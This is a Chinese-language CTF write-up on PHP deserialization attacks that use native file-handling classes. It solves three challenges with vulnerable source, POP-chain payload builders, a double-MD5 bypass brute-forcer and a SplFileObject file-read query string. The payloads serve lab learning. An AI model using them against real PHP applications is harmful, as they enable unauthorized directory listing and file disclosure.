CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结
文章目录
- CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结
- 特征
- 原理 我们可以通过PHP自身本来就有的类来进行文件操作
- 扫描目录的三个类
- DirectoryIterator(支持glob://协议)
- FilesystemIterator(继承自1,同上)
- GlobIterator(相等于自带glob协议的DirectoryIterator)
- 读取文件
- 1.2023 安洵杯 easy_unserialize
- 问题1 如何绕过双MD5
- 问题2 保证条件判断为真
- 问题3 绕过urlencode编码和base64编码相同
- array_walk函数理解
- $this 可以访问内部所有属性
- 2.[GDOUCTF 2023]反方向的钟
- 注意一点SplFileObject 默认 读一行 配合用 php://filter使用
- 3.[ciscn国赛初赛 2021 easy_source]
特征
在php反序列化中 没有直接的利用点可以直接rce
而是echo new $a($b);
echo 可以触发类的 toString方法
new 新建类
a ( a( a(b) 类和参数可控
原理 我们可以通过PHP自身本来就有的类来进行文件操作
扫描目录的三个类
-
DirectoryIterator(支持glob://协议)
DirectoryIterator(glob://*flag*)
-
FilesystemIterator(继承自1,同上)
-
GlobIterator(相等于自带glob协议的DirectoryIterator)
存在__toString,可以获取符合要求的第一个文件名
一般题目会用 foreach 遍历读取每一行
读取文件
SplFileObject(通过echo触发SplFileObject中的**__toString()**方法)
注意几点
-
不支持glob协议必须先通过扫描目录拿完整文件名
-
仅读取一行内容(完整内容配合php://filter)
-
一般题目会用 foreach 遍历读取每一行输出flag内容
1.2023 安洵杯 easy_unserialize
题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/easy_unserialize
源码分析写在注释里了
注意一下比较冷门的考点
function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
echo 'isset '.$name.'<br>';
}
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1) 4.调用__isset方法
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;//赋值
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()//8.调用__toString方法
{
$new = $this->l1;
return $new();//将类作为函数调用
}
public function __get($arg1)//6.调用get方法
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)//3.触发 __unset方法
{
if(md5(md5($this->md5)) == 666)//判断双md5为666
{
if(empty($this->lll3->lll3)){//调用empty
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)//7.调用_call方法
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;//以字符显示
}
}
public function __set($arg1,$arg2)//5.调用__set方法
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()//2.触发__wakeup魔术方法
{
unset($this->y1->y1); //触发unset
}
}
class Flag{
public function __invoke()//9.触发__invoke
{
echo "May be you can get what you want here";
array_walk($this, function ($make, $colo) {
$three = new $colo($make);//特征
foreach($three as $tmp){//遍历对象
echo ($tmp.'<br>');
}
});
}
}
if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']); //1.开始反序列化
}else{
highlight_file(__FILE__);
}
?>
POP链
YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
问题1 如何绕过双MD5
if(md5(md5($this->md5)) == 666)
编写脚本碰撞
发现单纯字母数字 md5(md5(结果))没有
因为这里是md5(md5($this->md5)) == 666
弱比较
保证 666后第一个字符为任意字母,其他任意
import hashlib
import itertools
def brute_force_md5():
# 使用字母表和数字进行字符的尝试
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
# 迭代尝试所有可能的字符组合
for text in itertools.product(charset, repeat=3):
text = ''.join(text)
hash1 = hashlib.md5(text.encode()).hexdigest()
hash2 = hashlib.md5(hash1.encode()).hexdigest()
# 检查是否满足条件
if hash2.startswith("666") and hash2[3].isalpha():
# 输出满足条件的字符串
print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
break
# 运行爆破
brute_force_md5()
ag2
问题2 保证条件判断为真
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
随便穿个字符 只要不为0即可
出题人想考 变量操作符 ${##}
可以代替1
问题3 绕过urlencode编码和base64编码相同
if(urldecode($this->arg1)===base64_decode($this->arg1))
1.数组绕过 []
2.传空值''
这里构造pop链时有一个细节
php>7后对 public,private不敏感
直接将private属性的成员变量替换为public
(PHP 4, PHP 5, PHP 7, PHP 8)
array_walk函数理解
— 使用用户自定义函数对数组中的每个元素做回调处理
参数
1.array
输入的数组。
2.callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
这里的array_walk($this, function ($make, $colo) {
$this 可以访问内部所有属性
包括原生类 直接作为属性 即可作为数组 传递给匿名函数function ($make, $colo)
构造pop链 遍历 / 目录
//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->DirectoryIterator='/';
echo(serialize($you));
可以拿到flag的名称 FfffLlllLaAaaggGgGg
读取flag
//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->SplFileObject='/FfffLlllLaAaaggGgGg';
echo(serialize($you));
可以拿到flag
2.[GDOUCTF 2023]反方向的钟
复现环境:https://www.nssctf.cn/problem/3723
源码 这题直接flag位置都告诉我们了
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
简单的pop链
$school=new school();
$school->department=new classroom();
$school->department->name='one class';
$school->department->leader=new teacher('ing','department');
$school->headmaster='ong';
echo(base64_encode(serialize($school)));
注意一点SplFileObject 默认 读一行 配合用 php://filter使用
拿到flag
3.[ciscn国赛初赛 2021 easy_source]
没找到环境 有源码 本地搭建
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
//class类实现 递增 $c的值
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
这题可以用原生类SplFileObject来做new $rc($ra, $rb);
但是我们要考虑第二个参数是什么
我们可以查阅php官方文档
构造函数 第二的参数必须可以是’r’
$method->$rd()
考虑SplFileObject 的什么方法可以读文件
发现SplFileObject存在 fpassthru静态方法 输出文件 内容
?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru
即可在源代码中发现flag